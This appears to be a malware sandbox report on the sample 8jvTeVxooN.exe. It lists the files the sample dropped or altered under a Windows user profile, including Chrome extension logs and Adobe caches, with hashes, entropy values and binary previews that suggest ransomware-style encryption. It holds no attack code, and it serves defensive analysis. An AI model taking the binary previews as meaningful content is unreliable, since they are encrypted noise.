Preview:	{"allRE.......zFi.)...Q.....;N.....s.r":k%...v0k..V.B..3..<....]DG.]..`+.R.[..p.h.....M.F.2.....n...:..%............58+..B.:..:..6.Su...:.F...3E.}.......Vh.L....z.G..'....p0.]..........(..$..vOo......S.(...+.....[...#.....,U9.s../.s.....<..4y......o\Q.w.+..Pqt.J.2Y.1...?..n..a.X...T}.n.dW.~..L0y.!...&w-... .~.....D'Y......x.).L[.....p...uRX.....t...=C..&F...K.s...m~.?..>P..so.+Z6..?....p....8...._..x..9.."].J..oo#.....F.'.(:].\.0Dn.y?.......@...E.&33.r..0...r-.....'tn....r..G...DU...,TM.M.....W/2A....9.l...<G...7h."....Q...4.^v...4..s.8.,.....i4U..w.G...7.mJ...@..S.Sb..+.2d...]..O......>... ..0.>2^2.x.Y.-t..NF....OZ.....#...$.k-a..w\|.._.x\|z..K.R`=.z.{4o..y.X..e35PJ+.j...SG..I..V.l..;..[p..F.......(..0.S..\|,....k.WY..4.)v.4..3..Hq....L.....s..pe.y'l.tJ...f.........IN......}J.j...$`7..Q...D/......o..6.@Mf.....?...q.aI.$...HK........2.......%0?D.C...'Kw....>...Y..=.+4.'.yk..*..h...}8.....V.k...4a..2K..8D.W.FR.C...r)..$..n.b.dYWe..,.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997262985184443
Encrypted:	true
SSDEEP:	1536:RoA12PlepHviqVluAtwNLSXgPIg130ojJk4jmwp:miR9viq2At6V1Eoj0wp
MD5:	39D17BAF2D7FE8A49A2ECE20221AC234
SHA1:	EBF21C4CEFC0DC336BAB77D8C4789AB18B7E7508
SHA-256:	F3467206A45812D9C422BB088A3455158AEC14D01B78828B9B31192F4024B65D
SHA-512:	658B2284A6EDF6C9796E2B1726C2F532C572493579B750BD7A4BCA142D2A6F081E4A225BA2B1AF447684AC53CA7AA64E10DC2BA85A2A906B95A97CDADC05567C
Malicious:	true
Preview:	4.397j`..."....D..$0....v.9...QUj.MS.rr.E..%pn.[&A+...w}.'$..\|Rtcev.%X..O..z2...@....B.S.Z.>8......N...!.R..J.3..I....J.u...l7&.t.e!%.j].kp.Y_>...Y.K@...Wvy......k...V.1.^..O..>_.b(..x_...]'...?.<.e4.. {.H.....-.\.(:r..N\|...X.t.\/..lu....\...3.....d.D.....c:..e]...5..:Q.d...](......A.2e....vrs2n..22.....\|PS.....:.;........._..(....$...z..}[..U....@..HYZ..tQ.@}'......b...'.N...tA .u.P..Q..).%z..o.Mv.........;....fk..2.(....v....T~.....d..5b=..T..Vj./.@U..C.a.8o...p.....-.=..(_....R...6q.&Z88l?3.I.....@!.....g.v.[..5..K../.%.@..Q0F@^S.\|9...?.p..}[.EH..Jb...\|R....e..C...8.4.s......0..\|.e..{.....a.2.L..I%6Q..Y%.<n6..0..._.}..8.a..TJ.8.N.P....N.....D.i.....Z.......-.....J}..LK\|.{...8..C..BB.%D....0....@....n...?.>...W?..`.9uO!........,..n.......N[.&P.hrg9..3...8E..v...qbA..:...h..h.Y..<.&9L]........6.b.~......x...J..+.!...L.Y....%.........0....!9Y6P^.h....NL/.r.Y8.+.W..;M.......f$.".>..O.g@../.T#.a.2R.V+]..r0y......_"[q.w.$o....R...w.3.....8I.

C:\Users\user\AppData\Local\Adobe\Color\ACECache11.lst

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	932
Entropy (8bit):	7.748278185723681
Encrypted:	false
SSDEEP:	24:4VuQoPJPt3psuQ82qKk9Yd8DSHtjHc7s7aFXPToPBW6fhYaVdObD:4QnhPt5sbqdYKDY87sC78cuhYWCD
MD5:	30B062262B551F3AB627F4C389C57418
SHA1:	0B5E11A222209F0AD8FCE9A7A78C368DB96C76A8
SHA-256:	47FD6E64C80CF60B5E1B8DD0FDEB12A772672C7A2F1817F46E211FC8E00841DE
SHA-512:	F6C3BD3A8F6F35A6218A35533C2C8DB969EBC74EC3697CFF6980B6A9E74A604332302F94B2267BD2DF304F6EF75C467E6CCAF332FCE3916BD1E98380EB7D833E
Malicious:	false
Preview:	CPSA..5.........=.g..XW...e...FI.NL1.j..D. 9jE.sj.Z.U.y ...l..5R5..E..R{$\! X,{0..Y....ICb%..@.....d.UI....F./.)..vi...A..D....s..1..M.....u ."39.d.\..Fgn....B.,....E......?.(..w.f.lb.2d....i.P.S.......z..m0*hW`..O.... ......."...,....k.....Q.?..).I..e_.#.k.....:.~.N.!AM.........Ib.../v.......g..N..Y.>...x.q.V.].+cd~.L1AT...xY.V...~.y......XR}..X23...4...\|~...p..../.uu.:.h.0..c.....2..Z...v.....{...'..H... @4....F.).T.I........3c.IB.uZ...~......2<C~..5..t..9...R..A...#:.d..3...Z.u..&.....!P/..e..7.d}k..z..5y<.......S...B.....\|...G.{.duh.... .d..mf.A.T2R...4...N9.M...\N...76Yn..V..bq{d.C....cf..e.\.....3.g..u..,.d.P.u^X.....=..[bB..e.@-.O......]..(~...G.E......Rty..=...W.n...q.yR......7....p.M....i.-.@D..w.c..^..m.uV;\...KL........v1.+Uw1X.W........4......1.(.m...6..{..K...z..Dl..6gj...OZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jcp

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977597211618303
Encrypted:	false
SSDEEP:	96:pt366Wd4zco+nYH2ZcgCWaCVX3vtL6GIJcQ+lzQPR+4O4koWZBFEejvoV0H4MG58:f66WO4o+YGclWlZ3nQupCWdEesrM+A
MD5:	F73EE44F83F6F6C658DEC7CF1D4FAE5E
SHA1:	A103BC6B82BA4335F769DAB978AA742EA23A5FA3
SHA-256:	00EAF43979B460A1588DF710B15840ADC50AA3C0CD3B3208C405FA0BB4C2890E
SHA-512:	E10D1B84181303B46EEEB4630B63BCF1A0377E12F442591E4D08816362BE3609DE61A7D934A2FE7218708A6063A5139AEE706CE0BF1FC5406FC73E7DF990A9A2
Malicious:	false
Preview:	.M.#..<........NjCY..=..$...p8..E2X.hE...D4........Z.0........).ZMI....6..{..i.V.,l... .qg.r....5.G..B..q^w..<...@..m5^>Ylj.\.,.Hn1l1.~...A.F=..g.........7$.f9..L............p .I.FV.....qC.e.k3....).c.^.{Pq..7..g..#k.@......M..+W.Z.3...W....`..........^H(.x..E......2.....}W.3.R..MQ..<a..$....0+.....E."j2..]\|.(v.Skg..`.`.)U.u..yf...Q..G#...o.'.[..8]+A-eG.v....n.i...K....pO..D...E...?G..BQ{H....mO..Y........"..............4...+....h....{....q.-....h.=.q..NJC...d......9.6.....]O...9..9...B..J.@{.z...rS3..XQ.....^.J.C.G..wC.......8.:..?...\|SZ.-..^\|..78f..1t.E .u....!../C.w...O.c.'^u..tw.Y..I.P.....`.q.w.rg3C7[.m..p. 7k.!^.Q\|9jK,..bTZT.N..s8.w...Km'.-..w..)0=`....bhjD.....3..`..r.N4GHp.R........#..,.4.]..X..h.]XYf.D.K..Q..Yt....%Twk..IH..Wa:<.j...LP....6.^[..U.Vl...YR..1B.>..'P./....2...M..).k.i..}.....8_..h..M..M..3...3w~xai..;..i..].A.>..@9.p:.h..^.......2..N0}...]..".(\.q....k3.+.R4...3..izb.Z^.n..... .Ql.l..*",..uK...vp\|q&C

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jtx

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.7331797833012474
Encrypted:	false
SSDEEP:	6144:99a/jmNYL5QT3GHan9ayGGo3agO/qqv4RROYdVbtzFnrG5J5qh+AJ3TGXZAcbBV1:99smSKTW6n9ayGOfCdYS+
MD5:	07DA4C6C83D39E7BBDDCEB92C0AF8855
SHA1:	CE0D3FB70057B2923AC1D5DC301D1912348E5960
SHA-256:	3164BF87A5FFC641129559CF9B3538B2A9389CD9615FDB77D21EA0068770F566
SHA-512:	3B55E1D9A0AC5B2FAD747F116DAF93DAD9FDA7190E01D75F31C07D92276F808335968DEDCD58911768C946E48D566E33F152E019C3B748207457AC763D23CFCA
Malicious:	false
Preview:	...?.&.....y.......l.:BD.z..B.s..Uy.].X.q.p(..B.(6`._3.[...r..s$).D..).m...,`.:v.ol.1...+@.cM....5H..x..Q..](...u..Zw....}/Br.......... .A.8.H9^~.[.zY.nT.z..f....A....._.\|.'...xLa.(X..?.I.s.EO.....>.h.2T..)i.z.@..2..M..`....~......z.A...h.e.R.A...W....+`......i=.Z.W... J.o......Y...Bzdjbm...u.]...".T}......%^'.Bx..&..7..MT...g3...[u........e.W....3S.Uftp..p..<...=!(q..<i4.`.\S..83.s.`Z.....I.J....,4}G...U..h.&b..S...J.s....\|a.@9-.b.........d=w..r...[v6..GW-..i..f........t....;[..D..jGB....jtL.g.....@Y..~.......=....R.-.<.....j...qr..../S..13....>$..{K.e.L.....;.]&@...>CAg.K.;W. ..8p.....S9N....T+......n.7...\|(..Z.; .k...s....K..&..QwS`,.[9u....;K.Q$.@j=;.+.>.~..ML...JqmX%g.E.^..R..K..2&....a..F.. .!.(h..8*V>..7.%.iS7..v...:..#.i.d#v2..i..&.L...p.\.$....#.q.q...h._. ...h.v.oD...4.+../.nd.........w.....y.{.6Iq...g..)."$..e..WU9.1.PSQ6.J.\|..b.O(.SO..(...@.A>.s>Q"5.m.\|..9.wi..A.....C.J..D....lv...m.iT.a_.zpV...4....U....C.5..:....5.`J.../...n.L....O..E.

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00001.jrs

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6707338325350098
Encrypted:	false
SSDEEP:	3072:eqVRDwdkEXHs/CQZGOTSk10LWsEvHJTpQzVOOqk1hfeALZNigd17p:eqVRkVsN8S9KWtYJKOZbBFp
MD5:	136EEBE1638EA78DADDDCC68997D43B3
SHA1:	CAFECD85947A94D94BF0943E036E96AF07CC2403
SHA-256:	8BE51DAFDB67E4C1464D6CA64D3FDD0E5DE27EEBDFC7A41473F73EB56E1E3E4E
SHA-512:	550AD59141A3C5613DE2F29AC84B0CE98B4024EBEA31E30C3EE6E2BA32DF85FBA834FF689150ABFF3FA93A1528C61C0E957EAD0D5CF50D5F2058B6D0C6E37B16
Malicious:	false
Preview:	.....t...WA...h..."r..\h.....i0.h..~.WM[.P..rT..!.6.. ...9S.QaI/......Y.-...0#...<.L.....]BHx<.. .{1...f3..a...L.Ju.M..8].#...n.....O../...XZ.).p~.FQ.....a.U...^A!.2...D....y.l.O......<.7......ir....p.....T....V...6....E6..............xKZ]...<i.B)..N....9..r..U.../.J...D!}s6..+.......&..Z.A.w..tj..j^.........7w../....0.(..}M.hH3_ul...]..0..E..NuC....l.Y....HiL.....Tg...y....O.7...$.^...L9........7.5.b..wa.p..........a.S;.....-...5U?{8.Ln......x[8A.;2..7=.L.,J.a..".1=..=..]...D...n...j<.....)>..H..N..WE.8XGZC...(-.2.Y.R!gp..`.......&.\|p.\|Xs..Y...=.sD... TP.)..s.J..zu....rG.c...8Y.c\|............=:.~..>p."WN.?.?@..:..}.o..q..h.../..^F..Q...2......2..v.I...j.$/..P.,5.<U.V.1.j.@k..X.H.][Z..M..J GH..7.-..Y"..U.qj.+.f.D....5."...0<."wW.IW..t!. ..P...H..T5..n....V.1.@...Q.../..4N.V.)~y........\|E..c...;..Gn..):.S...r.vb...$...cF.{H>..^.... .......H.T..G.{..Co._.0.3..0P...O1..D......J.>eY..Y.8...n.\|-.;...q.,!. ..Q+S..r..y.. .X.i...R.-...Z$.7...l.N3...

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00002.jrs

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.670696312227287
Encrypted:	false
SSDEEP:	3072:363wAXjs6Qb0gJe55aTc0L4kOO/Mu1YBy9bOc6GXVVxc+jnG0Mo:q39I6QQb5b0bO90Y0dOc6GlPLC0t
MD5:	E79DF0759FA6856D4B64E0B6812532AF
SHA1:	62C62C88EC8354DDDC7F359FA9977D95BEBF9011
SHA-256:	E2346E0C749F5B9483F4F2CCB98F31F318F86F5D0869A1CE359B978108A484AC
SHA-512:	75F2D5A65AC05DC1D3CD4F3BA813ECF44FE9225E078396121094E2AA7CC53C09A1E706BE5B89A3DB95DC50B389C55C45385CBA926568C4DCE972BD8A0A1A6E70
Malicious:	false
Preview:	.....L.%pU._.....8....5.C.ZP....[L9u....!R....y.C..poI..i].].."?....z.Z......9.....9...B.._,.8.Z.M4O..R.....=t.9Y..7_.w5.....V\m`.ZNJ..}@.6.V.G.] .!....M=..>...vd.p.z...q.[.E.._....$....7]./^T..Z.$...F.M.'...?.S(l.w...nq..7LP...mz...[....F..o.-.....p.JT?.o.d.<IF...(g.At.........bo.R..ix=....HX.Y%.....O....\({iqw....h".'......u..X"..A.........K..$6..?..F..n....ok..q....J....p.Hz.'.q....b1U..Z..s.,.td.7..'....@.D..C.O.Ig.kv.U..,.S.{.?j1...&.}...).S...8l.K>y......3\|.!(N#.R..+..G^..f........e.[.@X.u;.....q.;lV.3....Bu.../.;..)...g._.~A.A')..9E....t..X.....(0.z4e;;4.D....O...rK..o.x....W.X(7...?.2......v.....fvD.g.,/u.v..QuX...2F.M5+...#`ms...g..9..-.Ob..C...h..3".v.......D[.C...$...X`...c.u...GN.w.G...H..7L....,-r.,.zeEAu%..v.lr..U....c.63..p...\|.).1..ML%.3]I........f.y.L...z^4....E..Va..T...+i.0.+:. 8.\|E#}o.....U..E.@Q.7Bu...g.~.....N....a....#..Oj...y....._.W...R.am....RO....y...?B..8/(....;.=Z.X:...=a..X..LI..%...././.+4.B...Yz.;0....

C:\Users\user\AppData\Local\Comms\UnistoreDB\USStmp.jtx

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6708213440172318
Encrypted:	false
SSDEEP:	6144:i589bBjC4OLnu3HSkK6l/ccE0EMHDFYLFO8:eUBjTObIHSkKSkxJGJYZn
MD5:	9D88B0DE66995012721F3EBA56A148DE
SHA1:	BEA5545989BC32C233A82E6C9C72507E9FFCABC2
SHA-256:	A683AE836D9E5B978A6EBDCFE0C421EB2231120C88B21D2BE3BB91B5C4548B2C
SHA-512:	5E3F1DCEC7232837A638BDBDA9B29E9A70BE407F4D2F41AF96A7BBDB79A7AAD60BACF9B1963AF77DE5BD6BB3AFB49347135AA7E2735D2ECF39F345ED629C0413
Malicious:	false
Preview:	.....ta-..Lu.....<4-....T...?.....@4.Y..y./...+nP.`....1.#..z.K.E..o.+.?lI.../$..O..}.\.....0.@..-....T...........?..".?cO..)_<`u..qZ...k.wm.R.........v..M.^.'.)U..[g.S..Z..p.....2....p..^.z.............s..e...Z.&.&u..a.S...-l.d.h1..(KoN.].^.Vx....x..6?}..y.P~g......_..\..........$K...1s0.....g......F.....z..H....2>.A.........,.e..z.Y:V.aD....m..).ql.[.....S..qQGD.B@.l.d\..F.k..t..G.$m.h..9.K...pGV.qv../.c.D..z[....pU.?.!...... GE.$.....{.,.......4..?5.c.......x......d....,...=..{bo.{...Z..I.....~.g.UGH.........W2......B.f....Zq..VN[K.:...i["R..C.....%M.]8Y+.i}...W...,.......W.y.T.W1E.0.W...2D.0.-2v..Ox0...O..,....zsl)..Q...o.lf.N.._........K8H..p;......).v..]+.[.9..JI..z...8.6..&v..]...)SM.e..Z.....+.Pz...!.$K..bMa.B.V..B_4..X.R4...7H.+M............._..4.H....a..p.r....A^;.y69.v..#..aw..=...j.../p5.4.so.`..B.Wr=a2d..G......X...S.l._..@...h..Q'...[......[..6#.._..,.S.1.2....Fv.\|.K......[..7....Z.a..^Y...u.N.f4e...b..&...<X.K..N..M

C:\Users\user\AppData\Local\Comms\UnistoreDB\store.jfm

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9883635683330745
Encrypted:	false
SSDEEP:	384:koH4AUcHggkOM09oIvO+Lf8QkogqSBHWPapN3Fdqv:koPUxgkOPPvOW3k2IWPaPW
MD5:	8B1BD008254C8789A657F6AA39ECBC4B
SHA1:	20FBF58F35EDB03AD8396E939B216823D849B971
SHA-256:	B0A972897500DE644455426F14DB971972511425904D4D83C642F7F19AA30E72
SHA-512:	1CB7326338F96579097AFE3AA247A35A8C88A4ECDAC1DBFF3F5902DDCF7CEF918939923B547976879788EC210A39C9ED729FBB73E746988E8326211E26910CBB
Malicious:	false
Preview:	....H.U..z.\.....}.\|........... ...V..B..6.sN...~!..3.. H...)m ~=v5. .TdqS/....U.K...3.. .`k#...=.iG.8..Q...e..)6...E..MU(...kZ.B\|.qg$h.S\|.U..i.0.U.E@s!.;...u....-Wd.tQ..'.g.e..'.i..\|)..y..B.4.].to.>..`.~M...u.T@T.v.(.....]....\|..x:4:..<XW"..KE.Y....T..SR8:}{v....@.e...=.[~.....3.V.9...:k....$..;8i.5jm4.b^;...G.(..L......,.9~....dO...........BW.M)$..z.i..R...#..hBV.z_.. ....)......f.."x\..b.Rf:b..$..N.7.WP.....m.zP..hp...\......$.I..`.t(...R...i.N/l..G..S.C...A.n.........eK.;P.s}..........p\|R.Yf.a...%H...9.h\|J.....z....s.R...s..Ta.......A.e.I..c...7...8..1.h2..P.d)....SSh.......q.W.T.Y..H'[V.A.s_.......Rj..V.?f...nV.;.:..._GnI..8..n?..i..)....#...>....C".IZ.)G0.mEi..PHPy.....a..X......O...L......i$... y...U..........Z..f.U..D?!,B.)<A1...m.7.>.w.........'....s.z.....PQ..+......G.I,7(.>.gX)..vH..?...M.^.d...M.rv....4. T....B.....m...+..C...=.Ev.E..G.K....y...=.5....I.....N=.Nf.>....L....g.RD]....D.:......7 ........G.a5..(?m..Q...o.o.l.I....%!b......

C:\Users\user\AppData\Local\Comms\UnistoreDB\store.vol

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	5767502
Entropy (8bit):	0.7567637059218316
Encrypted:	false
SSDEEP:	6144:dGB50OBiiV1giWUyEvL94LS7tSa+d+gOrOuWxWk3m+cun4CfYjUfSUXivOYRqi/o:oB5Ei5WEZ9qR3b0iz
MD5:	877AB72901B8378E449B42A1313D3E2E
SHA1:	98E76169507E3481603596EAEE2E350FDF8FEADA
SHA-256:	9B1612089F98A064BB84FC7D286B158C19DCCB481D33230B1BA6A65E624EE957
SHA-512:	86CEB2185F3391DD0D85D1CDEB539F62536992B45C7DBB563FBB7AA2B703426756AA353DA42F47C110B3F19F95C3A5E81639ACADAA18CAC3EF394A2CE7F6E824
Malicious:	false
Preview:	......fLC.^..B.KZ......:5..G.D..e.LW..T..x.w@{.h........d.N..s<K.N)..D...tS+.Z.cP.c.5.\....J..@.Q.f.Y6VS..).G@:......%A<c..4.x. ....X-(2!hx..T.%.9.sn..n...xR.)i..o....[+.C.....).9e.X.va..N.A#.'...LM.T..q...T.Y..#U~.....}..c[xM.....p..1..4..]~.%v.........l......=..%..;.i..._0Cr.tt..CH.a..Y..C)<d../.....f.P.C..-.".{...... ....B6EKX.p.\%..............U...Tq ...6%..PU....K....Q%L.>\....g/s.....b...O.)~.S.d._.....i...#gtE.&3....`.{C.V/...6lvt..~33.\..F..C.Y.N1........\|.!...P.j..qz.0Wq.2..(....U.J...9.2.KX.e.]....._b.)A6......]r{..y..e..+.N....3d..M#$..\...:y........2.U.6:.s..0..0R6P.\|.....U..:.^+n...v......t.G...N!.C....%.~..jzv.q].....9.....[.P{=...W.Y..U..y...X1..h#..rf..L...V...E....Ynb.....&......F.x.^b,[.../...p...~...;\H..q..D..!.t..Gu.tX...8=.../TP...]..^4il.J.G.5@...C1G............'.V....h..a.dYM...o......;......&.c...\.Bc5..{r4t.Tx.&=....(...A.1...J'$..)m..-"!s.+.U..d..L.f..3Vbe...Y...[/0F%....Oz.8.KG+.Q...6T...6.o.cs]e..n.,.J.........=..]>..x

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.464512471919731
Encrypted:	false
SSDEEP:	12:qwv3DE5GIIUMF4ijtD0IZG1CXic44OXNl0nK6cBuOcii9a:RqPvu0IjY4QNF6lObD
MD5:	37CE77157297D9AE244E9A6652B44FA7
SHA1:	D009310C02FB7248FBA327E1A70E4687C3D6AAA3
SHA-256:	5013090C4B2C96B1E1A5ADE2B72A104CDE900097050725EAC6C72EF9D521E088
SHA-512:	FA98F54D8CE99CBD3339907C1E9768F83DBAD57B7E720289C260682763BC4CC5443F22F2D2991E68195E947CA86B83953C68037CB3DA6ED3912FA3AF778DD174
Malicious:	false
Preview:	.f.5.#.hg..T.).x..n.j.a....a.?%....c.`-.p.w.8$. ...@......Qp..:9........U.4rbe..Y..K.......y...Sm^$C.R.....MFkz.0>...-z..'Wd...n..ifm.y..IoX...>8W.d.qE...!..`.=..=.C.f...b7...........].-..!.lf.v.w.n .....K6..[....k-...d.;...H=..;vN..2p6...T.#.....P...p..`.#.f..G75T.q....f..Y.P.yfTa$..5....U......V..+..R..\|z.I%o{.@.@....t...V.C.]...A...S:.$#...I*9...N/.TB4... .>.M...."..J...............D.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.540852072104584
Encrypted:	false
SSDEEP:	12:qrLdjm1sNcofh6Yz50knvmXeIrVprcIXA0ZouOcii9a:xmNfhIauXeIrVprc4AuObD
MD5:	9A653B98D10487C080F7EFDF6F6017DA
SHA1:	773815457A3B6FCDB3D643762A24F11BE8AD2DA0
SHA-256:	AD47B7DD741462D4A7C01EA20A5DE6B0AB56658D857FFA241F3DD29B29AFC158
SHA-512:	2BE7D1DCCAB555A4E008D534B9E1D9B83C67DE407E0869513BC1055B0507F995D59BAD693457F7F766A8CE90E60DDE8D9C04B151A88A0CAB5275AA41B8BEFDD1
Malicious:	false
Preview:	.f.5..O...N.O.Q.:..:.Q..S..Y9..x..i.}`.A..\|{.[^.V.N4..5c...K.<...{6...&D9V....`..?..F.-/....%..w1%....):...C/....F.#..9.....Ab...;W....=e.n..]I>.o..^...^.?_....0....j....0.f....E.u>,...k..Y.{..2.m....1.=."..^.G.~zK.n.O....Yb.p.%7...........+D...`.o......... .{......j.,N\|.4..~...j........f,.".............I.Nz.>.U......2R\|.(U.d Rm..i...h...z..=...i..z.0.E....o.d.].~M.o...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.696914502485984
Encrypted:	false
SSDEEP:	12:q4uYk29QlFJ6X4myceNQYquUTGnp8MRcvzAOo7dbM4AVFPvMTBuOcii9a:Vk8ioXPe1KKSMivsOoBGv7ObD
MD5:	BCEF50200564FE3BD8C618827D7231F5
SHA1:	98E88FE00DF1F8132DF4579629A63243B30B6A52
SHA-256:	E7B8DAEE2C3FC2ABCDE214F685EF5A93FBF5FC9E3099419D08367B1B0215540A
SHA-512:	ACDC879F6569C9DA895EDED967F39ABC64FFCD2445716CB830E89966EBD3334B19EA207B42063FABD21EFE1911CD748CD48566002564C79D5BB0874D49121B8A
Malicious:	false
Preview:	.f.5....so5..VqNOrB....nte..(.<...t.d:..A.`.a?....A.3..$.P,{...z.l_..6EDS....^..'......K.7...tx....]..u..Aj3...:C;.......c.&...O...M....3e.u&..v.t2.....=.k..v..l(g6...P.2g..."..0cv...._.@..f..=..n7p..{C.&.O.......Jb\..}5q.#....U...M..-e1\|+.$.].:.......6.q....M.ce.VF_/...8.9...Y(.... ..{.H.H...F..\|..v.R......&Y~...3.9?em.%......E.. SyV... R..,...,h..%^H.4f.t..Q.K._?.....i.B..,X..WJ".P..@.......6I......U.f.86 .1F.axnvoy..v>G.W.....o]..L^Xc.x...x...c.v..q..2#3....&m..J`S......7%.g.n....F)..a}j.......3.E.F..u1.vD[....My........"u...W~`.Is.+J$..Z..\|.v.4..P)Q.t.I....a..........j..F.......[.Wx..iO.;..x1..N.f..8..........=9. ....(.........tS.Pe.F8.}.e').W.2....@/..iZFu.g.p~Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.698294090412751
Encrypted:	false
SSDEEP:	12:kUd55/4bwc7ODs4L9Q+Fk0JMW5PyhrA53nL54oY4rJRGcbFCGuOcii9a:h5/4NuK0JvyS53N4ohEc0DObD
MD5:	782FE65CFD41770642227597E9366AB7
SHA1:	D88EA2E3E697F96CF070C26007569D40F8C306C3
SHA-256:	CC81660AC0B3B8BC80EFF1836EEFD2062F27291647A0CBE620814FFE4C71032D
SHA-512:	F956EEF443E9229002A9DA3A615E5037B9D0D9D2B7A01AD9416E0BA5CF192BC2E1CC1DF1827C9EC08BA71A857A3A7D53B78C38EC1B400FB32C1A9579939BA38E
Malicious:	false
Preview:	2023/.+....lL.....y..e.p/.KP.e..Z...F...^....}R..,&I..5S.X.....=...Y.....Q&........8..IK..v...d.U[.rA.&U.:......&)...<.q...%.."``...d[...[.......>{...E..k5.U....Kp.3ME...p..;s......e........m...frJ..C$$..l..X....7.A.Z..,e.k...>..H$.[O..p..b...).e.../....P..cS........4.M_q.P.+.B.;...h.,a..2..%..5...\|H.t:..G..n.....v\|D.Y.-\.Si$\......7.w...G@..\.......:...T..`M...6.Ul....&.)"..2..4.q7..L@ke.y' ........K..3!..+.c..!..j......0].!:..>..b.i]%..k............I...b.W.....~.y....{..^I.a.p/."..x6...../k\.%l..R...a.......M,.(..@.....B..M...&.hZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	664
Entropy (8bit):	7.691533891356984
Encrypted:	false
SSDEEP:	12:kH1VN+X+Pn6q7zlcs952GvPOATBZJUC/Qe4g3VuOcii9a:sEKNZ98mnSCIeGObD
MD5:	9A75D4A1A44F686C9A60B273B47B5CBB
SHA1:	BB22E03AC9742C0E4344AF10F76D9CC677EF336E
SHA-256:	6CA2721FA071E37B2AF7C77EA588F84F903ABE9576EE4FAC230D757872707304
SHA-512:	B544CE88FB9A2C7FBE355293EA81F9ABF6F2712CBBA1CA90C57224673191780B8AF235DA3CE1AFC29F478E7403C727DCBCC66F46215721E1748A2A40EA24C0F1
Malicious:	false
Preview:	2023/.b.F{U....:..m...^.]$!Z...{.M...Gx.R;..p3.tp.IHu...w....S..=.L.v..k....A..0.. ..'#.....yX;8).-.L...m..=..}.D........B.....].}XT.NB`...... J.f'...a5.......b....l.]A;&9U..+.g.m.(.......B.....E.pN.......t....[....zd'........-.<1..V8-.y.Jr.....8I..[.I.....B..........S.`.K.6y..iz.c.e..K.i.(......b..TF...ZA.tpcn...j.....Y...5...%.&..(.>..6..'......D...Q@.6......`t......b.y.?.Y...8..!../..<0s.s...tZ.Y_d.\e....X......./..!.q.v5} .y...AtG_O6Qo..PA.~}.u.s.f..../orC.x....q8.Z_....%v..L.y.<Y.............g..]i...c.....e.I#.H.1..0`.y.O.B.^.?.....7.....&.M.......Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\000003.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	383
Entropy (8bit):	7.402201912250031
Encrypted:	false
SSDEEP:	6:wZ4TzFGEoV6rpicsqkh4iDb8sBgnWiDRAZhdtjIdpvpDzd3uBscii96Z:TtGPIl0fhLb89PQhdtjQpFzd3uOcii9a
MD5:	9DA5973A776186001A0663586A5DB47B
SHA1:	864703FEE2A1945E26F308434657994F2640ACCF
SHA-256:	FAC19ECEC7D0EE6D4DAB18642306861387125F407BF5C3193D6BADF7D3FD3388
SHA-512:	15555457CF67DFDC34C1593A47421BF63A0A8B8CB23FB3361A50E7E81B8E2B151F776A50C12A175FF696CB6F3A7E8E55409DDE0762E212A18D6E90352DEC4ECF
Malicious:	false
